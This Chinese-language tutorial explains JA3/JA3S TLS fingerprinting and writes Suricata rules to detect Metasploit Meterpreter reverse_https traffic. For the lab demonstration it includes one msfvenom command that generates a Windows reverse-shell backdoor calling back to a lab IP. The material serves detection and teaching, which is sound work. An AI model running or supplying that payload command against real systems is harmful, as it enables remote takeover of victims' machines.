JA3 是一种比基于 IP 或基于域名的 IOC 更有效地检测 SSL 上的恶意活动的方法。 JA3 是根据SSL hello包的特征进行检测,而并非是检测通信内容。
在这些恶意软件样本中,C2服务器始终以完全相同的方式来响应恶意软件客户端,应该说是分毫不差。因此,即使流量被加密,并且,即使不知道C2服务器的IP地址或域名,因为它们会不断变化,我们仍然可以通过指纹来识别客户端和服务器之间的TLS协商,以提高恶意通信识别结果的置信度。
首先下载JA3工具,github地址为:https://github.com/salesforce/ja3 ,在这里以捕获的某网站为例,下面以这个pcap为例,介绍工具是如何计算的。
JA3 收集client Hello 数据包中以下字段的字节的十进制值;SSL 版本、接受的密码、扩展列表、椭圆曲线和椭圆曲线格式。然后,它按顺序将这些值连接在一起,使用“,”来分隔每个字段,并使用“-”来分隔每个字段中的每个值。
0x0303(16进制)=771(10进制)
771
0x1301=4865;0x1302=4866····
4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53
0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21
0x001d=29;0x0017=23;0x0018=24
29-23-24
0
最终组合为:771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21,29-23-24,0
通过对JA3字符串加密为MD5 32位,得到ja3_digest
cd08e31494f9531f560d64c695473da9
JA3S 是 JA3用于server 的 SSL/TLS 通信和指纹服务器如何响应特定客户端。实际上就是从Server Hello数据包中提取的指纹信息,同样拿这个包举例子。
JA3S主要提取以下内容:
Version: TLS 1.2 (0x0303)
0x0303(16进制)=771(10进制)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
0xc02f(16进制)=49199(10进制)
Type: server_name (0)
Type: renegotiation_info (65281)
Type: ec_point_formats (11)
Type: session_ticket (35)
Type: application_layer_protocol_negotiation (16)
最终组成:771,49199,0-65281-11-35-16
对JA3S字符串进行哈希,771,49199,0-65281-11-35-16
进行MD5加密,生成ja3_digest,即b898351eb5e266aefd3723d466935494
Suricata提供了JA3集成(https://github.com/salesforce/ja3)。JA3用于对TLS客户端进行指纹识别。在使用suricata JA3识别之前,需要在suricat.yaml中开启对JA3的支持,将“app layer.protocols.tls.ja3 fingerprints”设置为“yes”
以下为JA3关键词:
识别MSF Meterpreter/reverse_https通信
msfvenom -p windows/x64/meterpreter_reverse_https -f exe -o https.exe LHOST=192.168.233.131 LPORT=9999
首先开启抓包功能,在win10测试机运行后门文件,kali上开启端口监听
由于其协商并不是TLS/SSL默认通信端口443,这里使用-a
参数,在任何端口上查找hello包,而不仅仅是443端口
python .\ja3.py --json -a .\xxx.pcapng
JA3字符串:771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0
JA3哈希值:72a589da586844d7f0818ce684948eea
python .\ja3s.py --json -a .\xxx.pcapng
JA3S字符串:771,49200,65281-23
JA3S哈希值:fd4bc6cea4877646ccd62f0792ec0b62
根据JA3工具获取到的指纹信息编写规则,在/var/lib/suricata/rules/suricata.rules
中编写检测规则
#JA3指纹-MSF
alert tls any any -> any any (msg:"疑似 MSF Meterpreter/reverse_https 加密通信行为";ja3.hash; content:"72a589da586844d7f0818ce684948eea";classtype: misc-activity;sid:0001; rev:1;)
#JA3S指纹-MSF
alert tls any any -> any any (msg:"疑似 MSF Meterpreter/reverse_https 加密通信行为"; ja3s.hash; content:"fd4bc6cea4877646ccd62f0792ec0b62"; sid:0002;)
suricata -r /root/msf.pcapng
通过日志可以看到流量命中cat /var/lib/suricata/rules/fast.log
参考链接:
通过 JA3(S) 实现 TLS 指纹识别 - H0t-A1r-B4llo0n
https://xz.aliyun.com/t/3889?page=1
Suricata IDS 入门 — 规则详解 - SecPulse.COM | 安全脉搏
6.18. JA3关键词 — Suricata 7.0.0-dev 文档
JA3 JA3S JARM学习 - 歇马 - 博客园